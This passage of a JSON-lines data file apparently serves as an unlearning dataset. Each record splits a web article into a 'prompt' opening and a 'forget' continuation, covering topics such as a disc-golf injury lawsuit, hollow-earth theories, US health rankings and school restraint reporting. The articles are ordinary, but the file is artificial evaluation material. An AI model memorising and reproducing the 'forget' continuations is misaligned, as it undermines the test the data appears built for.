change in our overarching goals,\" says Erik Schlenker-Goodrich, the executive director of the Western Environmental Law Center. \"This is just a change in footing from offensive to defensive.\" Obviously, things were different under the Obama administration. Groups like the Western Environmental Law Center often worked with the government to develop policy. For example, the Bureau of Land Management's Methane Waste Prevention Rule. Methane is an incredibly potent greenhouse gas, with more than 86 times the warming potential as carbon dioxide, plus a tendency to leak out of oil and gas drilling equipment. A lot of that drilling happens on public lands, managed by"}
{"prompt": "A Hermosa Beach woman who lost most of her sight in one eye after she was struck by a flying golf disc in Polliwog Park has sued the city of Manhattan Beach. Noreen Goodbody accuses the city of negligence and allowing a dangerous condition to exist on public property in the Los Angeles Superior Court lawsuit. She is seeking unspecified but \u201cserious compensation,\u201d said attorney David Ring of the Los Angeles law firm of Taylor & Ring. \u201cShe\u2019s probably lost 95 percent of her sight in her left eye,\u201d he said. \u201cShe\u2019s probably had three or four procedures on her", "forget": "eye to try to remedy the problem, but none have been successful.\u201d Manhattan Beach officials, including the city attorney, did not respond to several voice mail messages on Friday seeking comment. Goodbody was watching her high school-age daughter practice track at the park in August 2012 when she was struck by the \u201cflying disc with a sharp edge,\u201d according to the lawsuit, which was filed in July. \u201cShe doesn\u2019t even see it coming,\u201d Ring said. \u201cAll she knows is something slams into her eye.\u201d Once called Frisbee Golf, these days the sport is known by enthusiasts as disc golf. In the early days of the sport, players used plastic Frisbees. Now specialized discs are used that can weigh up to about 6 ounces, said Zach Hall, disc golf director at Burbank\u2019s DeBell Disc Golf Course. Burbank\u2019s nine-hole course, which opened in 2012, is used by disc golfers and regular golfers alike at the same time and designed \u201cvery carefully to make sure it wouldn\u2019t be dangerous.\u201d \u201cIt could hurt,\u201d Hall said if someone were hit by one. \u201cIt\u2019s pretty hard plastic and they\u2019re thrown at a pretty hard velocity. \u201cYou always have to think about (disc golfers) are going to miss. It can be dangerous if folks are unaware of disc golfers around them. \u2026 The smaller the space, the worse it\u2019s going to be.\u201d Polliwog Park, which sits at the corner of Redondo Avenue and Manhattan Beach Boulevard, is 18 acres. \u201cThe course \u2026 runs throughout the park avoiding walkways and play areas,\u201d according to the park\u2019s website. \u201cPlayers are asked not to throw in areas where people have congregated.\u201d But Ring contends players do anyway. Goodbody was standing near the park\u2019s amphitheater near the fourth hole of the disc golf course when she was struck, Ring said. \u201cThey\u2019re"}
{"prompt": "In 1741 the Norwegian-Danish author Ludvig Holberg published Klimii Iter Subterraneum, a satirical science-fiction/fantasy novel detailing the adventures of its hero Niels Klim in a utopian society existing beneath the surface of the earth. Peter Fitting, author of Subterranean Worlds: A Critical Anthology, explores Holberg\u2019s book in the wider context of the hollow earth theory. In 1818 John Cleves Symmes, Jr, issued his \u201cCircular Number 1,\u201d sending copies to \u201ceach notable foreign government, reigning prince, legislature, city, college, and philosophical society, quite around the earth\u201d: I declare that the earth is hollow and habitable within; containing a number of solid", "forget": "concentric spheres, one within the other, and that it is open at the poles twelve or sixteen degrees. I pledge my life in support of this truth, and am ready to explore the hollow, if the world will support and aid me in the undertaking. The fortunes of the idea that the Earth was \u201chollow and habitable within,\u201d from classical references to the underworld to esoteric and New Age writers today, have been recounted elsewhere, most notably by Walter Kafton-Minkel in his Subterranean Worlds: 100,000 years of dragons, dwarfs, the dead, lost races & UFOs from inside the earth (1989). Symmes\u2019s theories led to a number of fictional visions of the \u201cworld within\u201d, most immediately, Adam Seaborn\u2019s 1820 novel Symzonia \u2013 a work which has often been attributed to Symmes himself; and the novel with its diagrams and drawings was for some time cited as evidence that the world is hollow. In a somewhat different way, Symmes\u2019s conviction that there were openings at the poles also led to the establishment of perhaps the most famous American naval scientific expedition, the \u201cUnited States Exploring Expedition\u201d which was commissioned to explore the South Pacific and led to the establishment of a national museum of natural history \u2013 the Smithsonian Institute. (The history of the expedition and its origins in Symmes\u2019 ideas is recounted in William Stanton\u2019s 1975 The Great United States Exploring Expedition of 1838-1842). Symmes, however, was not the first to argue that the Earth was hollow; nor is Symzonia the first novel set in a hollow earth. There are of course numerous narratives \u2013 dating back to Greek and Roman texts \u2013 of descents into the underworld, but hypotheses about vast channels or chasms inside the Earth appear to be a much more recent idea advanced by some European thinkers"}
{"prompt": "America may be one of the richest countries in the world, but its people are less healthy and more likely to die early from disease or accidents than those in any other affluent country, a damning official US report has found. Even the best-off Americans \u2013 those who have health insurance, a college education, a high income and healthy behaviour \u2013 are sicker than their peers in comparable countries, says the report by the US National Research Council and the Institute of Medicine. \"We were struck by the gravity of these findings,\" said Steven H Woolf, professor of family medicine", "forget": "at Virginia Commonwealth University in Richmond and chair of the panel that wrote the report. \"Americans are dying and suffering at rates that we know are unnecessary because people in other high-income countries are living longer lives and enjoying better health. What really concerns our panel is why, for decades, we have been slipping behind.\" The report, US Health in International Perspective: Shorter Lives, Poorer Health, was commissioned by the National Institutes of Health. It compares the US with 16 affluent democracies, including Australia, Canada and Japan and many in Europe including Britain. There have been similar findings from the Commonwealth Fund over some years, but they have compared the US with only a handful of nations. The new report looked in detail at data from the late 1990s to 2008. \"Over this time period, we uncovered a strikingly consistent and pervasive pattern of higher mortality and inferior health in the United States, beginning at birth,\" it said. For many years, Americans have had a shorter life expectancy than people in almost all the comparator countries and for the past three decades the gap has been widening, particularly for women. The US does badly in nine specific areas. It has the highest infant mortality rate of any wealthy country and also does poorly on other birth outcomes, such as low weight babies. Deaths from injuries and homicides are far higher than elsewhere and a leading cause of death in children, adolescents and young adults. US adolescents have had the highest rate of pregnancies of affluent countries since the 1990s and are more likely to acquire sexually transmitted infections. The US has the second highest HIV rate and the highest incidence of Aids among the 17 countries. Even taking out drunk driving, Americans lose more years of life to alcohol and"}
{"prompt": "By Speaking at the \u201cA Trans-Atlantic Agenda for Shared Prosperity\u201d conference sponsored by the AFL-CIO, Friedrich Ebert Stiftung and the IMK Macroeconomic Policy Institute in Washington on Monday, Federal Reserve Vice-Chair Janet Yellen admitted in her speech that the official unemployment rate of 7.9 percent is actually incorrect because of a variety of factors. According to Yellen, who is considered a potential successor to Fed Chairman Ben Bernanke, stated that the unemployment rate is actually 14.4 percent. This number includes about 800,000 discouraged workers who have given up seeking employment and roughly eight million workers who are in part-time jobs", "forget": "but would prefer to work a full-time job. \u201cThe unemployment rate now stands at 7.9 percent. To put this number in perspective, while that\u2019s a big improvement from the 10 percent reached in late 2009, it is now higher than unemployment ever got in the 24 years before the Great Recession,\u201d said Yellen in her prepared remarks. \u201cMoreover, the government\u2019s current estimate of 12 million unemployed doesn\u2019t include 800,000 discouraged workers who say they have given up looking for work. And, as exhibit 6 shows, 8 million people, or 5.6 percent of the workforce, say they are working part time even though they would prefer a full-time job. A broader measure of underemployment that includes these and other potential workers stands at 14.4 percent.\u201d The former president and CEO of the Federal Reserve Bank of San Francisco also conceded that the poverty rate is a lot higher than it had been for the past decade and presently stands at 15 percent of the general population in the United States. The results of the recession, says Yellen, have been consequential for these individuals. \u201cEven those today who are fortunate enough to hold jobs have seen their hourly compensation barely keep pace with the cost of living over the past three years, while labor\u2019s share of income \u2013 as measured by the percent of production by nonfinancial corporations accruing to workers as compensation \u2013 remains near the postwar low reached in 2011,\u201d stated Yellen. \u201cIt will be a long road back to a healthy job market. It will be years before many workers feel like they have regained the ground lost since 2007.\u201d Despite Yellen\u2019s admission that the federal government\u2019s unemployment numbers are suppressed, her figures, according to other economists, are several percent lower than other projections. The unofficial unemployment rate is"}
{"prompt": "In the pre-Spotify era, one of the main ways to discover music was through MP3 blogs. In fact, some of us spent a lot of time burrowing through these obscure blogs, hoping to find and obtain rare vinyl rips and mindblowing '70s Japanese prog. But in the past several years, huge changes have occurred to change that landscape. File sharing services such as MegaUpload and Rapidshare went supernova on their own clientele, leaving many blogs deserted graveyards of links galore. Bloggers ran out of the patience to re-upload huge collections of music for the umpteenth time. Kim Dotcom went broke.", "forget": "Several places proclaimed \"R.I.P.\" on these blogs, fearing the proliferation of obscure music would have to end up behind closed doors. Yet some of these blogs remain, with people still plugging away at them, not to mention there\u2019s new sites to carry on the never-ending battle of providing a well-curated collection privy to copyright infringement takedown notices. Here\u2019s a brief look into some fantastic resources. Buffalo Tones What: Buffalo Tones is the equivalent of the cool older sister who pops in from time to time to teach you something new. It\u2019s a master collection with everything you can find off the beaten and bizarre path: garage, no wave, post-punk, psych and noise music. After years of inactivity, this blog made a return with sporadic updates. Why: It is home to over 200 releases, often accompanied by good write-ups on each one. Blogs hosted on Blogspot tend to incorporate throwback features such as live comment boxes and sidebars featuring other sites you need to check out. Buffalo Tones outdoes a few of these by having a list of blogs complete with a thumbnail of its most recent post. Frustration Levels While Downloading: Low. In fact, there\u2019s a joy to be found in discovering that ancient links still work. Evidently, we have yet to robbed of the things we (will learn to) cherish the most. Ghost Capital What: Described as an \"effort to share...rare, oddball and under-appreciated music of all kinds,\" the ear of Ghost Capital is pointed towards the obscure and the global: psych, blues, folk, funk and more from all corners of the globe make appearances here alongside several well-curated mixes. Why: It\u2019s incredibly niche, which is a great thing considering the amount of care that goes into each update with detailed notes to match. The site is well-maintained, easily"}
{"prompt": "A lot of the features I had dialled in on my last phone are automatic now. The dictionary is most noticeable. Since I can't program the words anymore, autocorrect has become a nightmare. Often, the phone persistently changes words that are jargon, and is really difficult to get used to. The keyboard also changed, which makes no sense. It's a classic case of IT engineers lacking basic understanding of the human counterpart. I thought buying another galaxy would get me a new improved version. I was wrong. It's a new, completely different phone. Pros: Faster processing, improved reception, better functionality", "forget": "overall from a hardware perspective. This is coming from the S5, so I'm not really surprised. I liked that phone a lot though. Of all of the galaxies I've had, that one was the best. It just got old, and compatibility was becoming an issue. I also like Bixby. I haven't used it much yet, but it's pretty cool. I hope Samsung gets it running properly, instead of abandoning it like most new ideas. Cons; I can't get a lot of the functions to work the way I like. It's like Samsung feels that they know what's best, and I should learn to trust their wisdom. It's annoying. My phone is supposed to be convenient for ME. I expect to use it MY way. My old phone allowed me to make it work the way i like. This one doesn't. Maybe I just haven't found the adjustments yet, but you'd think they'd be similar. The lock screen is really annoying. I have to go through three screens to get in. There's cooler biometrics on it, but so what? Is it really more secure? Is it more convenient? I don't think so. It's nice having the clock on the screen when it's not in use if you want, but it IS a hassle. The home button is gone. Now, there's a haptic feedback pressure sensor with no other use. I suppose that makes it easier to waterproof, but there have always been cases that solve that problem. Now the phone wouldn't work properly with a watertight case. I guess that's just adjusting, but I feel better having an actual button. The phone seems like it was designed strictly for people who enjoy flaunting the newest technology, not people like me who want the absolute best functionality. If I was in charge"}
{"prompt": "Mona T. Brooks / KCPB While the world's first coders helped build the tech industry, its designers will define the industry's future, said graphic designer and computer scientist John Maeda. Maeda spoke Sunday at the SXSW festival in Austin, Texas, where he issued the findings of his #DesignInTech report. Before 2010, Maeda said, design played a secondary role in the technology industry. How a product or service looked or worked, and the ways users interacted with it, were typically an after-thought that focused mostly on cosmetics. Design only ever grabbed attention when companies like Apple pushed outside the norm. But", "forget": "that's changing fast. Startups and large tech firms all recognize that their products need to be both visually appealing and deliver great user experiences -- and that means thinking about design from the beginning. It also means the industry needs people who can communicate those ideas and create more satisfying experiences. In other words, it needs designers who contribute from the start of a project -- not the end. \"Twenty-seven startups co-founded by designers and 10 creative agencies were acquired by tech in the last four years,\" Maeda said. The former president of the Rhode Island School of Design (RISD), Maeda joined the venture capital firm Kleiner Perkins Caufield & Byers last year as Silicon Valley's first ever design partner. Since he joined KPCB, he said, six other venture capital firms have brought on designers to help scout new talent and incorporate design into their portfolio companies 'products. Take Airbnb, Maeda said. Founded in 2008, the company makes it easy for people to rent out their homes or a single room to those looking for a place a stay. It was dreamed up by designers Brian Chesky and Joe Gebbia, both RISD graduates, after the two attended an industrial design conference. \"[Silicon Valley] didn't think a designer could build and run a company. They were straight up about it. We weren't MBAs, we weren't two Ph.D. students from Stanford. Being designers they thought we were people that worked for people that ran companies,\" Chesky told Dezeen magazine in January 2014. Maeda also pointed to Dropbox's 2013 acquisition of Orchestra, the makers of sleek email app Mailbox, for $100 million. That deal brought former IDEO designer Gentry Underwood to the cloud storage company as head of design. Microsoft, too, has acquired design talent in the mobile app space with its purchases"}
{"prompt": "While the Orioles brass is exploring options to improve the club through the trade market, executive vice president Dan Duquette has repeatedly said he likes some of the options he has down at the minor league level. So as the second-half of the season gets underway, we\u2019re taking a look at the reinforcements down on the farm. Here are five players from Triple-A Norfolk you could see brought up to help the Orioles through the stretch run. LHP Zach Britton: This one's automatic. The Orioles need a fifth starter to pitch Tuesday\u2019s game against the Twins in Minnesota and all", "forget": "signs point to Britton being that guy. Britton is coming off his best minor league start of the season Thursday, when he threw seven shutout innings and allowed just four hits while striking out six. The Orioles have been able to go with a four-man rotation for the past few weeks because of a bevy of off days, but they open the second half with 30 games in 31 days, so they\u2019ll need a fifth starter for the long haul. Britton (4-1, 4.15 ERA) figures to be that man. Still it\u2019s amazing it\u2019s mid-July and Britton has yet to make a big league start OF Nate McLouth: The Orioles signed McClouth to a minor league deal June 5 after he was released by the Pirates. He hasn\u2019t hit above .228 at the major league level since 2009 and he\u2019s only hitting .250/.328/.500 in 28 games at Norfolk, but his bat is rapidly heading up. He is hitting .412 (14-for-34) with five homers and 14 RBIs in his past nine games. And the difference maker: He is a plus defender \u2013 he has a .991 career fielding percentage \u2013 and can play all three outfield positions. RHP Miguel Socolovich: If the trusty Orioles bullpen needs some help, look for Socolovich to get the nod. He\u2019s been great all season long in various roles, going 3-0 with a 1.77 ERA in 24 games. Over 45 2/3 innings, he\u2019s allowed just 29 hits and has 50 strikeouts to go with 11 walks. At Norfolk, he\u2019s shown the ability to go multiple innings \u2013 he can regularly go up to three innings. In his past 10 outings, opposing hitters are batting just .150 against him OF Lew Ford: Since signing a minor league deal with the Orioles, he has dominated Triple-A pitching. Ford, who"}
{"prompt": "Attend the leading Bitcoin & Blockchain event series in Canada and meet like-minded people in one of the most exciting industries in the world. The next event will be held at the MaRS auditorium on February 6th and is titled: 'Power of Decentralization'. Be sure to RSVP well in advance as we're expecting to sell out. We've got yet another amazing line up of speakers! ------- AGENDA: 6:00pm (15 minutes): Networking 6:15pm (5 minutes): Brief Intro: Bitcoin & Blockchain SUNNY RAY (http://www.sunny-ray.com), Unocoin (http://unocoin.com) Co-founder & President 6:20pm (10 minutes): Cryptiv (https://cryptiv.com/): Enterprise Blockchain Wallet Systems MAT CYBULA (https://www.linkedin.com/in/matcybula), Cryptiv", "forget": "CEO & Co-founder Mat's talk will be about the various blockchains being used today and how companies must approach security in a world of blockchain. 6:30pm (10 minutes): Ernst & Young (http://www.ey.com): Implications for Bitcoin & Blockchain RAHUL RAINA, HBSc MBA MSc | Senior Consultant | IT Advisory | Financial Services Office | Performance Improvement | EY LLP Rahul is a Senior Consultant focussed on disruptive technologies, including Big Data, and Blockchain at EY Canada. In his previous role, he served as the R&D Advisor for Rubix by Deloitte. He has also previously worked at Bank of America Merrill Lynch, IBM Canada, and Bell Canada. Rahul holds HBSc in Computer Science from the University of Toronto, MBA from the Schulich School of Business, and MSc in Computer Science from the University of Oxford. He is one of the few Canadians to pursue academic research at a graduate level on Cryptocurrencies from both business and technical perspectives at Schulich School of Business, and the University of Oxford, respectively. Ultimately, the key question that Rahul is trying to answer for the past 5 years is the following: how do we increase the adoption of cryptocurrencies? 6:40pm (10 minutes): BlockGeeks (http://blockgeeks.com/): Share & Grow Knowledge Around Blockchain Technology AMEER ROSIC (http://www.ameerrosic.com/), Co-founder, Blockgeeks. A vast amount of knowledge that could be valuable to many people is currently only available to a few \u2014 either locked in people\u2019s heads, or only accessible to select groups. 6:50pm (10 minutes): RUBIX (http://rubixbydeloitte.com/): Blockchain Implementations - Method in the Madness ILIANA ORIS VALIENTE (https://www.linkedin.com/in/ilianaorisvaliente), CPA, CA, CBP | Co-Founder, Rubix by Deloitte | Blockchain Strategist 7:00pm (30 minutes): Power of Decentralization TOUFI SALIBA (https://www.linkedin.com/in/touficsaliba), Co-authored fully-decentralized Blockchain protocol, cofounded ToDa Foundation, 6 blockchain companies, had 3 exits in the past, expecting 2 in near future. Loves algorithm,"}
{"prompt": "This is the second part of an ongoing look into the state of online gaming in Japan. If you\u2019d like to read more on the subject head over to part one. Last time, we discussed the issues facing the Japanese online gamer. Of note, Japanese online gaming is so niche that the term MMORPG has very little meaning to your average online gamer, who tends to be more of a console shooter fan than PC playboys/girls. According to Akiba MMO\u2018s CEO Keiko, \u201cJapan essentially skipped the PC and jumped straight to mobile phones.\u201d Having a big, bulky machine that\u2019s primarily", "forget": "used at one\u2019s place of work hardly seems like something that would have awesome games on it. Worse yet, because of the small market, few western companies translated their games into Japanese. No problem, right? Japanese people must be able to speak English like the rest of the world despite being an island nation no where near an English speaking country\u2026 English Only Despite having to learn it for at least six years, Japanese people really don\u2019t speak English. As a teacher, this comes up a lot, but Keiko in particular noted that English\u2019s role in Japan is often restricted to unique wording/phrasing that only makes sense to Japanese. In short, it\u2019s used for adding an exotic flavor for advertisers, but as a communication language, people may only passively understand English. Even then, as founders of gaming, Japanese expect good games to be translated for them if they are indeed any good. While there are certainly Japanese players who like western games, remember that online gaming is already a niche market. Add in the fact that foreign products are even more niche, so it\u2019s more difficult to find translated fan sites of foreign games if you\u2019re a Japanese player. There\u2019s even a stigma that \u201cWestern games are shit\u201d partially due to the fact that Japan simply didn\u2019t have the PC gaming market to support localization into Japanese. While localization teams for Blizzard games may advertise in Japanese, the client is often still in English. This is most likely why Blizzard is practically unknown in this country. Everyone I spoke to who knows Blizzard\u2019s games enjoyed them, but when asked why the games didn\u2019t seem popular, the answer was always the same: no Japanese language support, until recently. Even then, keep in mind from last time that Japanese gamers tend to"}
{"prompt": "Photo: Stephen Starr I'm on the shores of Lake Tuz, the second-largest lake in Turkey, and no one wants to talk about salt. It took 10 minutes of pleading with a security guard, even though he'd been told that a journalist would be visiting, to gain entry to the Kaldirim Salt Enterprise's huge facility on the eastern shore of Europe's biggest salt lake. \"You can drive through and come back out again, but don't get out of the car,\" he warned. Inside the yard, mountains of the blindingly bright salt are piled three stories high by a conveyer belt being", "forget": "fed by a convoy of trucks. Except for three men sitting around a table in the shade at the yard's edge, there are few signs of anyone willing to brave the August heat. A fourth man runs out of a beat-down building and with his arms appears to signal \"get out, now.\" Every spring, mineral-rich snow melt and rain flow south through Turkey's Anatolia and into Lake Tuz, adding a half-meter of water. The water evaporates by summer, leaving behind a three-inch layer of salt granules ready for harvest. The salt forms because the lake is endorheic, meaning it has no outflow. Flamingos are seen at Tuz Lake on July 16, 2015. Dunaliella salinas, a type of halophile micro-algae especially found in sea/lake salt fields, colorize a part of the lake every summer. Photo: Anadolu Agency via Getty Images For locals, the lake is an important source of cash. Every summer farmers and large-scale producers go to work on the ethereal landscape that produces 60 per cent of all salt harvested in Turkey every year. Lake Tuz also provides life to the largest flamingo colony in the Middle East and North Africa combined\u201422,000 breeding pairs in 2013\u2014and is a crucial resting stop and sanctuary for dozens of other species migrating between Africa and central Europe. What's more, it's a UNESCO special environmental protection area and a spectacular sight that turns red every July as a Dunaliella algae bloom explodes under the heat of the summer sun. But Lake Tuz is disappearing. Locals say submerging one's feet in the naturally-occurring salt takes away aches. Photo: Stephen Starr Since the 2013 Gezi Park protests, when people took to the streets to demonstrate against the ruling AKP party's plans to destroy a popular park in central Istanbul, environmentalists and government officials have been"}
{"prompt": "We would like to thank everyone for participating in our 2017 M&S fitness survey. As you know we conducted this research to get to know our readers a little bit better. After closing the survey, we started analyzing the data and pulled some of the more interesting data points out to share with the M&S faithful. Listed below are the results from the major questions we asked you. We\u2019ve included several pie and bar graphs to make the data a bit easier to digest. Feel free to browse through the results and compare them to your own workout experiences. You", "forget": "may be shocked by how you and your friends stack up to the numbers. Biggest challenges when working out Let\u2019s kick things off by discussing the biggest challenges you all face when it comes to working out. This question was an open ended question and we received thousands of replies. From there, we categorized them into the following: As you can see, the number one challenge of those who took our survey was maintaining a diet that helped them reach their goals. We found this interesting. Further down in this results article, you will learn that nearly 71% of people who took our survey create their own diet plans. So, if 71% of people are creating their own diets and another 43% are finding it difficult to maintain a proper diet, the fitness industry (ourselves included) must find a way to make it easier for you guys to adopt and maintain a diet so you can better reach your goals. The next biggest challenge was finding time to workout. We all have busy schedules (which include social, familial, and work obligations). Finding time to exercise can be difficult. Luckily, we\u2019ve got a step by step guide on how to build a workout program around a busy schedule which can be found here. The final major limitation our entrants had was the challenges faced when building muscle mass and finding the perfect workouts to help them do so. This problem is more difficult to resolve than others, as a number of factors can affect one's ability to build muscle. With that said, as we explore the results and draw some assumptions, I think we\u2019ll be able to discover where things are going wrong in some of your muscle building attempts. Activity & Health Level of Our Respondents In this section we"}
{"prompt": "Rep. Jerry Nadler (D-NY) told Breitbart News on Thursday night on the floor of the Democratic National Convention in Philadelphia that the party officials who brought up Bernie Sanders\u2019s religion should be fired. Late last week, internal Democratic National Committee (DNC) emails released by Wikileaks showed that party officials had colluded to assist former Secretary of State Hillary Clinton and keep Sen. Sanders (I-VT) from winning the nomination. One email, from DNC Chief Financial Officer Brad Marshall, discussed using Sanders\u2019s religion against him. Sanders is Jewish, but Marshall presumed he was an atheist, and the apparent intent was to expose", "forget": "that among conservative voters. The email read: It might may no difference, but for KY and WVA can we get someone to ask his belief. Does he believe in a God. He had skated on saying he has a Jewish heritage. I think I read he is an atheist. This could make several points difference with my peeps. My Southern Baptist peeps would draw a big difference between a Jew and an atheist. As Breitbart News noted, the email was sent to several senior officials, including CEO Amy Dacey, who replied \u201cAMEN.\u201d (Marshall has since apologized publicly.) \u201cMy reaction was that was terrible,\u201d Nadler told Breitbart News. \u201cWhoever did that ought to be fired.\u201d However, Nadler was at pains to defend the DNC itself. \u201cOn the other hand, what nobody\u2019s mentioning is the DNC didn\u2019t do that. That was a private email within the DNC. So somebody makes a recommendation, \u2018We ought to do this,\u2019 somebody else says, \u2018Knock it off\u2019 \u2014 we don\u2019t know who that was \u2014 but it wasn\u2019t done.\u201d New DNC chair Donna Brazile told Katie Couric of Yahoo! News this week that Marshall would not be fired over the incident: When I read Brad\u2019s email, and I\u2019ve known him for 20 years, I called him and said, \u201cBrad that was wrong, that\u2019s inappropriate.\u201d I apologized to the Sanders people immediately on Saturday morning. In fact, I took an earlier train \u2026 because I wanted to nip that in the bud. I\u2019m going to handle all of these situations, but I want have some standards. I\u2019m not throwing anybody under the bus. I want to have touch standards, the same standards that basically forced me to resign in the Dukakis campaign back in 1988 \u2026 I\u2019m going to give everybody an opportunity to do the right"}
{"prompt": "Growing up in a Recession Individuals who grow up during recessions tend to form life-long beliefs, including that success in life depends more on luck than on effort. In Growing up in a Recession: Beliefs and the Macroeconomy (NBER Working Paper No. 15321), co-authors Paola Giuliano and Antonio Spilimbergo substantiate the importance of the historical economic environment in shaping economic attitudes, affecting individuals' views of the role of government, and influencing whether those beliefs change later in life. One of the key findings of their study is that individuals who grow up during recessions tend to form life-long beliefs, including", "forget": "that success in life depends more on luck than on effort. Individuals who grow up during recessions also tend to support more government redistribution, but they have less confidence in public institutions. On the whole, the authors find, orientations formed during difficult economic times can help to determine the economic system, institutional outcomes, and the role of the government across countries, although this study focused on the United States. One of the strongest results from this research is the long-lasting effect of recessions on individuals' confidence in government and its role in society. For example, individuals have a significantly lower level of confidence in Congress and the executive branch of the federal government when they experience poor economic conditions while they are coming of age. But there are off-setting tendencies, too. \"On the one hand, recession-hit individuals believe that the government should intervene more, so they lean more to the left. On the other hand, these individuals distrust institutions, believing them to be ineffective, therefore leaning more to the right.\" And, while recessions substantially decrease the confidence in government institutions, they do not appear to have an effect on the individual's level of generalized trust -- that is, his or her trust in others or other sectors of society. The authors also report that individuals' propensity to distrust government institutions after macroeconomic shocks occur is highest when they are between the ages of 18 and 25. Although also possible between age 25 until roughly age 40, after that age people tend not to change their beliefs in response to negative economic shocks. This research is based on data culled from self-reported individual answers collected by the General Social Survey (GSS) regarding individuals\u0092 socioeconomic beliefs. The GSS conducts basic scientific research on the structure and development of American society using a"}
{"prompt": "Customer Reviews The well-written, well-read, and inspiring true-life story of Brother Andrew. Overall A classic book well read. Overall Living by faith...that's all. Overall Awesome book of how God led brave men and woman behind the \"iron curtain\" to do His will Overall I enjoyed this biography very much. The narrator was excellent and had been engaged the entire time. Brother Andrew's story is one of faithfulness. His faithfulness to what God had called him to do and God's faithfulness to provide for him all along the way. Your faith will be encouraged after listening to this! Overall I didn't", "forget": "want it to end. Wow. What a great testimony of the work God does through his children. This man's obedience and faith is something I strive for. Overall A great example of Revelation 22:17 \"and all who hear say come.\" Overall Excellent and exciting story to listen to. This story inspired me to share the gospel more. Overall The voice of the narrator is very good, and the story was already excellent. We have listened to this over and over with my teenagers and even younger kids. Overall Great reminder of God's faithfulness to His promises. Matthew 6:33-34 \"But seek ye first the kingdom of God, and his righteousness; and all these things shall be added unto you. Take therefore no thought for the morrow: for the morrow shall take thought for the things of itself. Sufficient unto the day is the evil thereof.\" The LORD's ways work! This is something the current day \"church\" at large has forgotten. Overall Very encouraging and challenging! Overall Wonderful book and challenging! A must read for any Christian. Overall Renews faith in God who answers prayer. Overall Exceptional Overall I cannot believe that I was not required to read this in an undergraduate or graduate level Bible course. It was captivating and motivating. I was skeptical before I purchased it. I had heard a bit about it, but now I am going to make sure my sons who are going into ministry listen to it Overall Loved this book! Overall Well written, believable, applicable, and powerful. Few dry spots. Overall Thanks to those who put this together so that I could benefit from the work God is doing through the faithful. It truely was a great book to listen to! Overall This is an excellent recording of a well written book chronicling the"}
{"prompt": "It\u2019s been so long in coming that many folks stopped waiting for it, but Microsoft\u2019s(s msft) Windows Azure Infrastructure as a Service \u2014 its long-promised response to Amazon Web Services \u2014 goes live for all customers on Tuesday. Advertisement While he did not characterize Azure IaaS as an \u201cAmazon(s amzn) killer,\u201d Azure GM Bill Hilf did say Microsoft will match AWS on price for any of its base-level infrastructure \u2014 storage, compute instances, etc. \u2014 continuing a price war that flared last November when AWS, Google and Microsoft traded price cuts on their respective cloud storage offerings. And, Azure IaaS", "forget": "pricing will be uniform across all geographies and data centers. Microsoft runs 8 data centers worldwide, 4 in the U.S., 2 in Europe and 2 in Asia. This is a pointed response to AWS, which relies heavily on its aging-but-humongous U.S. East data center farm in Ashburn, Virg. Many AWS services debut there and prices for U.S. East services are often lower than the same services originating in other AWS regions. \u201cMany customers architect their applications in really weird ways to take advantage of that pricing,\u201d Hilf said. U.S east is also the epicenter for most of the AWS outages over the past year or so. And before you write off Azure as too late to matter, consider this: For the many companies that run Windows applications and may want to move them betwixt and between a public cloud and their own Windows-centric server rooms, Azure may be a really smart choice. In the run up to this news Microsoft announced Active Directory for Azure last week. PaaS priority hurt Azure Microsoft\u2019s problem is that it zigged when it probably should have zagged 3 years ago when it rolled out Azure as a full Platform-as-a-Service (PaaS). It was a great idea in theory, but by then developers \u2014 especially those in startups \u2014 were already flocking to AWS and its easy-to-spin-up-and-pay-for infrastructure. That interest started to spread to bigger, more established businesses or departments within enterprises where developers loved the idea of being able to quickly build their own sandbox on AWS without IT interference. Fair or not, the perception soon became that Azure was a development and deployment platform for old-world Windows and .Net applications. It was deep and rich, but it was attacking a moribund market. Ironically, those old-school Windows shops could now be Azure\u2019s saving grace. The"}
{"prompt": "Crusader Kings II : The Middle-Earth Project mod 0.3.1b has been released, you can download the new full build below. Posted by Lonhaldar on Jul 27th, 2014 Middle Earth Project 0.3.1b Download CK2:MEP 0.3.1b This is a full update of the Middle Earth Project mod for Crusader Kings II. This update is compatible with version 2.1.6 of Crusader Kings II. This is a beta and there will be bugs. Nothing is set in stone and we will appreciate any input that you think might improve the mod. An Extended Map Look into Belegaer, the Great Sea of the West, and", "forget": "discover the borders of the lost lands of Beleriand and Numenor. New islands, like Tol Fuin or Tol Morwen appears now. We reworked too some areas, like Bellakar, or the areas of Gundabad and the Misty Mountains. Welcome to Gwaihir, the Lord of the Eagles, and all his kin in Rosroval, the \"Peak of the Eagles\". The Line of Golfimbul is still alive, and Mount Gram can prepar to war once again. All Eriador fears the new powers of the orcs of the North now! Create your own kingdom of middlemen in Enedwaith, and become the High King of Isenvale, to balance the power of both Arnor and Gondor! Craft your own objects ! As a Dwarf or a Noldor craftsman, you're now able to craft your own objects. Create some jewels, forge weapons, and improve your skills to be the proud heir of Telchar of Nogrod, or Celebrimbor of Eregion ! As a Noldor master or legendary craftsman, reconquer Ost-in-Edhil, and try to rebuild the Gwaith-i-Mirdain, the brotherhood of Celebrimbor, where were forged the Rings of Power. Gather the other craftsmen, and together, you'll give prestige and glory to your kin ! Use the Rings of the Dwarves to create more wealth in your mines, or try to find the One Ring, and maybe you'll find a Lesser Ring, these rings forged by the Noldor of Eregion as essays of the Rings of Power. The Palantiri Now, the Palantiri are all created, one trait by Stone. Try to keep the stones in your dynasty, and gain a lot of prestige with them ! As one of the guardians of the Palantiri, use your Stone during Wars to call your friends to the battlefield ! As an elf or a numenorean, travel to Elostirion, and try to see the Lights"}
{"prompt": "In March 2012, police responded to a call from a Brooklyn public school about a five-year old autistic boy who was having a tantrum. Officers held down the kindergartener, who was then tied to a stretcher and transported to a hospital. The little boy's mother had been called to the school and witnessed the episode. \"He was crying and screaming,\" she said. \"They strapped him to that stretcher.\" The episode got local news coverage. And the family eventually filed a lawsuit, which New York settled. But according to the figures that New York files with the federal government, the incident", "forget": "never happened. Like all school districts across the country, New York is required to record every time a public school kid is held or tied down and report totals each year to the U.S. Department of Education. The number New York gave the government? Zero. \"There's not even a remote possibility that the number zero is correct,\" said Johanna Miller, the advocacy director for the New York Civil Liberties Union. New York, the nation's largest school district, wasn't the only one to incorrectly report zero restraints to the federal government. So did Los Angeles and Chicago \u2013 the nation's second and third largest school districts. Indeed, Chicago Public Schools spokeswoman Lauren Huffman acknowledged restraints are allowed in some cases but said Chicago doesn't keep a tally of them. \"It's our intention to do a better job tracking them centrally,\" she said. Earlier this year, ProPublica detailed how kids are frequently restrained at public schools. As we reported, the government's first 